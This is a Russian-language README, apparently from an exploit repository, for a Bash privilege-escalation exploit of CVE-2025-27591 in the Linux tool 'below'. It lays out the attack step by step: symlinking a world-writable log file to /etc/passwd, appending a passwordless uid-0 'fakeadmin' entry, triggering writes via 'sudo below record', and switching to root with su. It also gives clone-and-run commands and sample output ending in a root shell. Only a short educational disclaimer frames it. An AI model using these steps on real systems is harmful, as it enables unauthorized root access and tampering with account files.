CVE-2025-27591 – Повышение привилегий через злоупотребление симлинками в below

🛑 Отказ от ответственности: Данный эксплойт предоставлен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование может быть незаконным.

🧠 Обзор

below — это инструмент мониторинга производительности, разработанный Facebook для Linux-систем. Версии below до исправленного релиза подвержены критической уязвимости, которая позволяет непривилегированным пользователям повысить свои привилегии до root, используя общедоступные для записи каталоги журналов и небезопасную обработку логов.

🔎 Детали CVE

💥 Логика эксплойта

Этот Bash-скрипт выполняет следующие действия:

1. Проверка общедоступного для записи каталога:

   • Подтверждает, что /var/log/below доступен для записи всем (красный флаг).

2. Подготовка атаки через симлинк:

   • Удаляет существующий файл error_root.log (если есть) и создаёт символическую ссылку на /etc/passwd.

3. Формирование полезной нагрузки:

   • Добавляет фиктивного root-пользователя в /etc/passwd:
     root@kitploit:~

     fakeadmin::0:0:fakeadmin:/root:/bin/bash
     

4. Запуск записи логов:

   • Выполняет sudo below record, чтобы заставить уязвимый бинарник записать логи.

5. Получение root-доступа:

   • Использует su fakeadmin для получения root-оболочки без запроса пароля.

📁 Структура каталогов

CVE-2025-27591/
├── exploit.sh
├── README.md

✅ Предварительные требования

Перед запуском эксплойта убедитесь, что у вас есть:

• Bash-оболочка (система Linux)
• Установлен уязвимый бинарник: /usr/bin/below
• Общедоступная для записи директория логов: /var/log/below
• Права sudo для выполнения: sudo below record
• Доступные инструменты:
  • ln (создание симлинков)
  • su (переключение пользователей)
  • timeout (контроль времени выполнения)
  • whoami (проверка привилегий)

🚀 Шаги эксплуатации

# 1. Клонируйте репозиторий
git clone https://github.com/00xCanelo/CVE-2025-27591.git
cd CVE-2025-27591

# 2. Сделайте скрипт исполняемым
chmod +x exploit.sh

# 3. Запустите эксплойт
./exploit.sh

🧪 Пример вывода

[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] Found existing log file: removing it...
[+] Created symlink: /var/log/below/error_root.log -> /etc/passwd

[*] Writing malicious line to /tmp/fakeadmin
[*] Triggering logging via 'sudo below record'...
[+] 'below record' executed (or timed out)

[*] Attempting to write payload to /etc/passwd via symlink...
[+] Payload successfully appended.

[*] Trying to switch to root shell using 'su fakeadmin'...
root@target:/# whoami
root